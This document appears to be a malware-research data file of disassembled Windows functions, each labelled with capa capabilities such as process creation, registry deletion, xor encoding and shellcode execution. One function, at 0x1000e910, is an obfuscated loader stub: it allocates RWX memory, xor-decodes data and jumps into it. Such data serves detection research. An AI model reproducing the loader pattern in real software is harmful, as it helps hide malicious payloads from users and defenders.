joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000be60
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
jne 0x1000be69
ret
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
push ecx
push eax
call dword [sym.imp.kernel32.dll_CreateProcessA]
ret

Function at 0x1000c61e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10024140], 0
push esi
push edi
jne 0x1000c594
call fcn.1000c500
test eax, eax
je 0x1000c5d9
mov eax, dword [0x10024140]
cmp eax, 1
jne 0x1000c5b5
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1000c5d9
jmp 0x1000c61b
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1000c61b
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000c5dd
xor eax, eax
jmp 0x1000c61b
mov eax, dword [esi]
push dword [0x10024140]
call edi
mov edi, eax
test edi, edi
je 0x1000c5ff
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1000c61b
lea edi, [esi + 0xff0]
push esi
push dword [0x10024140]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1000c605
mov eax, esi
pop edi
pop esi
ret
jmp 0x1000c580

Function at 0x1000cc2a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10022cac]
jne 0x1000cc34
repz ret
jmp fcn.10010608

Function at 0x1000e910
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x1000e91f
pop dword [ebp - 0x50]
mov eax, 0x881f54c9
add eax, 0x87e19456
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x34b06
push 0
mov eax, 0x2c1c5b96
sub eax, 0x1c1aa9e6
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x5e476b05
add ecx, 0xa1b8c83c
mov esi, eax
mov edx, 0x1002b200
add edx, dword [ebp - 0x50]
mov ebx, 0x8d6b0272
mov dword [ebp - 0x40], 0x6fb0fe29
mov edi, dword [edx]
xor dword [ebp - 8], 0x6622f804
xor edi, ebx
sub dword [ebp - 4], esi
mov dword [esi], edi
add dword [ebp - 0x24], 0x3c9a43dc
add esi, 0xe7ae2fe1
sub esi, 0xe7ae2fdd
add edx, 4
loop 0x1000e972
add eax, 0xbfd7
xor ebx, ebx
add ebx, eax
add eax, 0xbc0b1dfb
add eax, 0x43f4e20a
mov ecx, 0x10000000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x401310
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401366
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x405148
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401359
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x401368
xor eax, eax
pop esi
leave
ret 4
Function at 0x4013e0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x40b0a4], 0
push ebp
mov ebp, dword [esp + 8]
push esi
push edi
mov esi, eax
mov edi, ecx
jne 0x4014af
xor eax, eax
lea ebx, [ebx]
mov ecx, eax
and cl, 1
neg cl
mov edx, eax
sbb ecx, ecx
shr edx, 1
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr ecx, 1
xor ecx, edx
mov edx, ecx
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr ecx, 1
xor ecx, edx
mov edx, ecx
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr ecx, 1
xor ecx, edx
mov edx, ecx
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr ecx, 1
xor ecx, edx
mov edx, ecx
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr ecx, 1
xor ecx, edx
mov edx, ecx
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr ecx, 1
xor ecx, edx
mov edx, ecx
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr ecx, 1
xor edx, ecx
mov dword [eax*4 + 0x40b0a0], edx
add eax, 1
cmp eax, 0x100
jl 0x401400
test esi, esi
not ebp
mov eax, ebp
jbe 0x4014df
jmp 0x4014c0
movzx ecx, byte [edi]
xor ecx, eax
and ecx, 0xff
shr eax, 8
xor eax, dword [ecx*4 + 0x40b0a0]
sub esi, 1
add edi, 1
test esi, esi
ja 0x4014c0
pop edi
pop esi
not eax
pop ebp
ret 4

Function at 0x4015f0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov ecx, dword [0x425cb0]
sub esp, 0x10c
push ebx
mov ebx, dword [esp + 0x118]
push ebp
mov ebp, dword [esp + 0x118]
push esi
push edi
lea eax, [esp + 0x10]
push eax
or ecx, 8
push ecx
push 0
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4016dd
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
push 0x105
lea edx, [esp + 0x18]
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
test eax, eax
jne 0x40167e
mov edi, dword [esp + 0x128]
lea esp, [esp]
test edi, edi
mov edx, dword [esp + 0x10]
jne 0x4016d1
push edi
lea ecx, [esp + 0x18]
push ecx
push edx
call fcn.004015f0
test eax, eax
jne 0x40167e
mov ecx, dword [esp + 0x10]
push 0x105
lea eax, [esp + 0x18]
push eax
push edi
push ecx
call esi
test eax, eax
je 0x401650
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [str.ADVAPI32]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x4016a5
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x4016ea
mov ecx, dword [str.RegDeleteKeyExA]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4016ea
mov edx, dword [0x425cb0]
push 0
push edx
push ebx
push ebp
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret 0xc
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret 0xc
cmp dword [0x425cb0], 0
jne 0x4016d8
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x4016d8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret 0xc
Function at 0x403e60
Capabilities:
Create directory

Disassembly:
push 0x42c400
call fcn.004078e0
mov cx, word [0x42c400]
mov al, cl
or al, 0x20
cmp cx, 0x5c5c
je 0x403e8a
sub al, 0x61
cmp al, 0x19
ja 0x403e87
cmp ch, 0x3a
je 0x403e8a
xor eax, eax
ret
push 0x42c400
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [eax + 0x42c400]
push eax
push 0x42c400
call dword [sym.imp.USER32.dll_CharPrevA]
cmp byte [eax], 0x5c
je 0x403ebc
push 0x4092dc
push 0x42c400
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x42c400
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x42c400
push 0x42c000
call fcn.00407250
ret
Function at 0x406c00
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x14
lea eax, [esp]
push eax
push 0x4235b0
push 0
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
mov dword [0x4235b0], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x406c33
add esp, 0x14
ret
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp]
add esp, 0x14
ret
Function at 0x407060
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push 0x400
push eax
push 0x4235f8
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edi, 0x4235f8
call fcn.00406ff0
mov esi, eax
test esi, esi
jne 0x407088
pop edi
xor eax, eax
pop esi
ret
push esi
call fcn.004078e0
test byte [0x425c28], 0x80
je 0x4070a1
mov al, byte [esi]
test al, al
je 0x407083
cmp al, 0x5c
je 0x407083
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
push ebp
push 0x4235f8
sub esi, 0x4235f8
call edi
cmp eax, esi
mov ebp, dword [sym.imp.USER32.dll_CharPrevA]
jle 0x407122
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
jmp 0x4070d0
push 0x4241f8
push 0x4235f8
call ebx
cmp eax, 0xffffffff
je 0x4070f1
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
test byte [0x4241f8], 0x10
je 0x407166
push 0x4235f8
call edi
add eax, 0x4235f8
lea ecx, [ecx]
cmp byte [eax], 0x5c
je 0x407114
push eax
push 0x4235f8
call ebp
cmp eax, 0x4235f8
ja 0x407100
push 0x4235f8
mov byte [eax], 0
call edi
cmp eax, esi
jg 0x4070d0
push 0x4235f8
call edi
lea ecx, [eax + 0x4235f8]
push ecx
push 0x4235f8
call ebp
cmp byte [eax], 0x5c
je 0x40714c
push 0x4092dc
push 0x4235f8
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x4235f8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor edx, edx
cmp eax, 0xffffffff
setne dl
pop ebp
pop ebx
pop edi
pop esi
mov eax, edx
ret
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
ret

Function at 0x407200
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x407217
and eax, 0xfffffffe
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret

Function at 0x407220
Capabilities:
Get file attributes

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edx, dword [esp + 8]
mov ecx, eax
sub ecx, 0xffffffff
push 0
neg ecx
sbb ecx, ecx
and ecx, eax
mov eax, dword [esp + 8]
push ecx
push edx
push 0
push 1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 8

Function at 0x407250
Capabilities:
Get common file path

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, 0x64
lea esp, [esp]
sub esi, 1
mov dword [esp + 0x14], 0x61736e
call edi
xor edx, edx
mov ecx, 0x1a
div ecx
mov eax, dword [esp + 0x18]
push ebp
push 0
add byte [esp + 0x1e], dl
lea edx, [esp + 0x1c]
push edx
push eax
call ebx
test eax, eax
jne 0x4072ac
test esi, esi
jne 0x407270
pop edi
pop esi
mov byte [ebp], 0
pop ebp
pop ebx
ret 8
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
ret 8
Function at 0x4072c0
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [str.KERNEL32]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x4072e3
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x407307
mov ecx, dword [str.MoveFileExA]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x407307
mov edx, dword [esp + 0x18]
push 5
push esi
push edx
call eax
test eax, eax
jne 0x4074e3
test esi, esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x4239f8], 0x4c554e
je 0x40736a
push esi
call edi
mov ecx, eax
sub ecx, 0xffffffff
push 0
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push 1
push 0
push 1
push 0
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x400
push 0x4239f8
push esi
call ebp
test eax, eax
je 0x4074ea
cmp eax, 0x400
jg 0x4074ea
mov edx, dword [esp + 0x18]
push 0x400
push 0x424338
push edx
call ebp
test eax, eax
je 0x4074ea
cmp eax, 0x400
jg 0x4074ea
push 0x424338
push 0x4239f8
push str._s_s_r_n
push 0x423df8
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebp, eax
mov eax, dword [0x425bcc]
mov ecx, dword [eax + 0x128]
add esp, 0x10
push ecx
push 0x424338
mov dword [esp + 0x20], ebp
call fcn.00407620
push 0x424338
call edi
mov edx, eax
sub edx, 0xffffffff
push 0
neg edx
sbb edx, edx
and edx, eax
push edx
push 4
push 0
push 1
push 0xc0000000
push 0x424338
call ebx
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4074e3
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebp + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4074dc
push 0
lea ecx, [esp + 0x14]
push ecx
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4074dc
cmp edi, dword [esp + 0x10]
jne 0x4074dc
push str._Rename__r_n
mov eax, esi
call fcn.00407170
test eax, eax
jne 0x407466
push 0x400
push str._Rename__r_n
lea edx, [esi + edi]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
add edi, 0xa
jmp 0x4074a6
push 0x40965c
add eax, 0xa
call fcn.00407170
mov ebp, eax
test ebp, ebp
je 0x4074a2
add ebp, 1
lea eax, [esi + edi]
cmp ebp, eax
mov ecx, ebp
jae 0x407498
mov al, byte [ecx]
mov edx, dword [esp + 0x18]
mov byte [ecx + edx], al
add ecx, 1
lea eax, [esi + edi]
cmp ecx, eax
jb 0x407485
sub ebp, esi
mov eax, ebp
mov ebp, dword [esp + 0x18]
jmp 0x4074a8
mov ebp, dword [esp + 0x18]
mov eax, edi
add eax, esi
mov ecx, ebp
mov edx, 0x423df8
call fcn.004071d0
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x14]
push eax
add edi, ebp
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add dword [0x425c90], 1
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 4
Function at 0x407500
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
neg eax
sbb eax, eax
and eax, 0x100
lea ecx, [esp + 8]
push ecx
or eax, 0x20019
push eax
mov eax, dword [esp + 0x10]
push 0
push edx
push eax
mov byte [esi], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407574
lea ecx, [esp]
push ecx
mov ecx, dword [esp + 0xc]
push esi
lea edx, [esp + 0x14]
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
push ecx
mov dword [esp + 0x18], 0x400
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40755f
mov eax, dword [esp + 0xc]
cmp eax, 1
je 0x407562
cmp eax, 2
je 0x407562
mov byte [esi], 0
mov edx, dword [esp + 8]
push edx
mov byte [esi + 0x3ff], 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ecx
ret 8
Function at 0x4029a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, edx
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x4c
lea eax, [esp + 0x10]
mov dword [esp + 4], eax
mov dword [esp], ebx
call dword [sym.imp.msvcrt.dll__fstati64]
test eax, eax
jne 0x402a10
mov esi, dword [esp + 0x28]
test esi, esi
js 0x402a10
mov dword [esp], esi
call sub.msvcrt.dll_malloc
test eax, eax
mov edi, eax
je 0x402a10
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll__read
cmp eax, esi
mov dword [esp + 0xc], eax
jne 0x402a30
mov dword [esp], ebx
call sub.msvcrt.dll__close
test ebp, ebp
je 0x402a50
mov edx, dword [esp + 0xc]
mov eax, edi
mov dword [ebp], edx
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, dword [sym.imp.msvcrt.dll__errno]
call esi
mov ebp, dword [eax]
mov dword [esp], ebx
call sub.msvcrt.dll__close
call esi
mov dword [eax], ebp
add esp, 0x4c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, dword [sym.imp.msvcrt.dll__errno]
call esi
mov ebp, dword [eax]
mov dword [esp], ebx
call sub.msvcrt.dll__close
mov dword [esp], edi
call fcn.00424e68
jmp 0x402a22
mov eax, edi
jmp 0x402a03

Function at 0x402a60
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, edx
sub esp, 0x18
mov dword [esp + 4], 0x8000
mov dword [esp], eax
call sub.msvcrt.dll__open
test eax, eax
js 0x402a85
add esp, 0x18
mov edx, ebx
pop ebx
jmp fcn.004029a0
add esp, 0x18
xor eax, eax
pop ebx
ret
Function at 0x403060
Capabilities:
Query environment variable

Disassembly:
push edi
mov ecx, 5
push esi
mov edi, str.boot
push ebx
sub esp, 0x1a0
mov esi, dword [esp + 0x1b0]
mov ebx, dword [esp + 0x1b4]
repe cmpsb byte [esi], byte es:[edi]
je 0x4030f2
mov esi, dword [esp + 0x1b0]
mov edi, str.recovery
mov ecx, 9
repe cmpsb byte [esi], byte es:[edi]
jne 0x403161
test ebx, ebx
mov esi, str.recovery.img
jne 0x4030fb
mov dword [esp], str.ANDROID_PRODUCT_OUT
call sub.msvcrt.dll_getenv
test eax, eax
je 0x403230
cmp byte [eax], 0
je 0x403230
lea ebx, [esp + 0x1c]
mov dword [esp + 0xc], esi
mov dword [esp], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s
call fcn.00402950
mov dword [esp], ebx
call sub.msvcrt.dll__strdup
add esp, 0x1a0
pop ebx
pop esi
pop edi
ret
mov esi, str.boot.img
test ebx, ebx
je 0x4030a7
lea edi, [esp + 0x1c]
mov dword [esp], edi
call fcn.004049c0
mov edx, edi
mov ecx, dword [edx]
add edx, 4
lea eax, [ecx - 0x1010101]
not ecx
and eax, ecx
and eax, 0x80808080
je 0x403109
mov ecx, eax
shr ecx, 0x10
test eax, 0x8080
cmove eax, ecx
lea ecx, [edx + 2]
cmove edx, ecx
add al, al
sbb edx, 3
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], str..._.._.._target_product__s__s
mov dword [esp], edx
call fcn.00402950
mov dword [esp], edi
call sub.msvcrt.dll__strdup
add esp, 0x1a0
pop ebx
pop esi
pop edi
ret
mov esi, dword [esp + 0x1b0]
mov edi, str.system
mov ecx, 7
repe cmpsb byte [esi], byte es:[edi]
je 0x403215
mov esi, dword [esp + 0x1b0]
mov edi, str.vendor
mov ecx, 7
repe cmpsb byte [esi], byte es:[edi]
je 0x403220
mov esi, dword [esp + 0x1b0]
mov edi, str.userdata
mov ecx, 9
repe cmpsb byte [esi], byte es:[edi]
je 0x403243
mov esi, dword [esp + 0x1b0]
mov edi, str.cache
mov ecx, 6
repe cmpsb byte [esi], byte es:[edi]
je 0x403250
mov esi, dword [esp + 0x1b0]
mov edi, str.info
mov ecx, 5
repe cmpsb byte [esi], byte es:[edi]
mov esi, str.android_info.txt
seta dl
setb al
cmp dl, al
je 0x4030f7
mov eax, dword [esp + 0x1b0]
mov dword [esp + 4], str.unknown_partition__s_n
mov dword [esp + 8], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call fcn.00402920
xor eax, eax
jmp 0x403157
mov esi, str.system.img
jmp 0x4030f7
mov esi, str.vendor.img
jmp 0x4030f7
mov dword [esp], str.neither__p_product_specified_nor_ANDROID_PRODUCT_OUT_set
call fcn.00404210
xor eax, eax
jmp 0x403157
mov esi, str.userdata.img
jmp 0x4030f7
mov esi, str.cache.img
jmp 0x4030f7
Function at 0x40c040
Capabilities:
Encode data using xor

Disassembly:
push ebp
push edi
mov edi, edx
push esi
mov esi, ecx
push ebx
sub esp, 0x3c
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x58]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x54]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov ebx, dword [0x431148]
movzx ecx, al
mov dword [esp + 0x2c], eax
lea eax, [ecx + 3]
sar eax, 2
lea eax, [eax*4 + 8]
movzx edx, ax
mov eax, dword [edi]
mov word [esp + 0x1e], dx
mov dword [esp + 0x20], edx
mov dword [esp + 0x18], eax
lea eax, [eax + edx - 1]
xor edx, edx
div ebx
xor edx, edx
mov ebp, eax
mov eax, dword [esp + 0x18]
div ebx
cmp eax, ebp
je 0x40c110
test esi, esi
je 0x40c116
movzx eax, word [esi + 4]
imul ebx, ebp
sub ax, word [esp + 0x18]
add eax, ebx
mov word [esi + 4], ax
mov esi, dword [0x431148]
imul esi, ebp
mov dword [edi], esi
mov eax, dword [esp + 0x50]
add esi, dword [esp + 0x24]
mov dword [esi], eax
movzx eax, word [esp + 0x1e]
mov word [esi + 4], ax
movzx eax, byte [esp + 0x2c]
mov byte [esi + 6], al
movzx eax, byte [esp + 0x28]
mov byte [esi + 7], al
lea eax, [esi + 8]
mov dword [esp + 8], ecx
mov ecx, dword [esp + 0x54]
mov dword [esp], eax
mov dword [esp + 4], ecx
call sub.msvcrt.dll_memcpy
mov eax, dword [esp + 0x20]
add dword [edi], eax
add esp, 0x3c
pop ebx
mov eax, esi
pop esi
pop edi
pop ebp
ret
mov esi, dword [esp + 0x18]
jmp 0x40c0c6
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], str.add_dentry
mov dword [esp + 4], str.critical_error:__s:_no_prev_n
add eax, 0x40
mov dword [esp], eax
call fcn.0040c010
mov dword [esp + 4], 1
mov dword [esp], 0x431180
call sub.msvcrt.dll_longjmp
lea esi, [esi]
Function at 0x40e3d0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
movzx eax, word [esp + 8]
test ebx, ebx
je 0x40e3ff
add ebx, edx
add edx, 1
mov ecx, eax
xor cl, byte [edx - 1]
shr ax, 8
movzx ecx, cl
xor ax, word [ecx + ecx + 0x42c7e0]
cmp edx, ebx
jne 0x40e3e4
pop ebx
ret

Function at 0x40f640
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov dword [eax + 0x18], 0
mov dword [eax + 0x14], 0
ret

Function at 0x411d70
Capabilities:
Read file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
xor ebx, ebx
sub esp, 0x1c
mov esi, dword [esp + 0x38]
mov edi, dword [esp + 0x30]
mov ebp, dword [esp + 0x34]
test esi, esi
jne 0x411d9a
jmp 0x411dc4
je 0x411dd0
add ebx, eax
add ebp, eax
cmp esi, ebx
jbe 0x411dc4
mov eax, esi
sub eax, ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ebp
mov dword [esp], edi
call sub.msvcrt.dll__read
test eax, eax
jns 0x411d90
call dword [sym.imp.msvcrt.dll__errno]
mov eax, dword [eax]
add esp, 0x1c
pop ebx
pop esi
pop edi
neg eax
pop ebp
ret
add esp, 0x1c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
add esp, 0x1c
mov eax, 0xffffffea
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4121b0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
mov eax, dword [esp + 8]
mov edx, dword [esp + 0xc]
test ebx, ebx
not eax
je 0x4121de
add ebx, edx
add edx, 1
mov ecx, eax
xor cl, byte [edx - 1]
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x42cd80]
cmp edx, ebx
jne 0x4121c5
not eax
pop ebx
ret
Function at 0x418840
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
push ebx
sub esp, 0x14
mov ebx, dword [esp + 0x20]
test ebx, ebx
je 0x4189d0
mov esi, dword [ebx + 0x1c]
test esi, esi
je 0x4189d0
mov eax, dword [ebx + 0x20]
test eax, eax
je 0x4189d0
mov eax, dword [ebx + 0x24]
test eax, eax
je 0x4189d0
mov dword [ebx + 0x14], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x2c], 2
mov eax, dword [esi + 8]
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0x18]
test eax, eax
js 0x418997
jne 0x41899c
mov dword [esi + 4], 0x71
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call fcn.00407c00
mov dword [ebx + 0x30], eax
mov dword [esi + 0x28], 0
mov dword [esp], esi
call fcn.0041c530
mov ebx, dword [ebx + 0x1c]
xor ecx, ecx
mov eax, dword [ebx + 0x2c]
mov edx, dword [ebx + 0x4c]
add eax, eax
mov dword [ebx + 0x3c], eax
mov eax, dword [ebx + 0x44]
mov word [eax + edx*2 - 2], cx
mov eax, dword [ebx + 0x4c]
lea edx, [eax + eax - 2]
mov eax, dword [ebx + 0x44]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebx + 0x84]
mov dword [ebx + 0x6c], 0
mov dword [ebx + 0x5c], 0
mov dword [ebx + 0x74], 0
lea edx, [eax + eax*2]
shl edx, 2
lea eax, [edx + 0x42d7a0]
movzx ecx, word [edx + 0x42d7a2]
movzx edx, word [edx + 0x42d7a0]
mov dword [ebx + 0x16b4], 0
mov dword [ebx + 0x78], 2
mov dword [ebx + 0x80], ecx
mov dword [ebx + 0x8c], edx
movzx edx, word [eax + 4]
movzx eax, word [eax + 6]
mov dword [ebx + 0x60], 2
mov dword [ebx + 0x68], 0
mov dword [ebx + 0x90], edx
mov dword [ebx + 0x7c], eax
xor eax, eax
mov dword [ebx + 0x48], 0
add esp, 0x14
pop ebx
pop esi
ret
neg eax
mov dword [esi + 0x18], eax
cmp eax, 2
mov dword [esi + 4], 0x2a
jne 0x4188b3
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call fcn.00408190
jmp 0x4188cf
mov eax, 0xfffffffe
jmp 0x418991
Function at 0x41dd80
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x41ddb8
xor edx, edx
nop
mov ecx, dword [eax + 0xc]
cmp ecx, ebx
ja 0x41ddae
add ecx, dword [eax + 8]
cmp ebx, ecx
jb 0x41ddba
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x41dda0
xor eax, eax
pop ebx
pop esi
ret

Function at 0x41f690
Capabilities:
Query environment variable

Disassembly:
push ebx
mov ebx, dword [esp + 0x18]
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0xc], ebx
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x10], 1
mov dword [esp + 8], ebx
pop ebx
jmp fcn.0041f060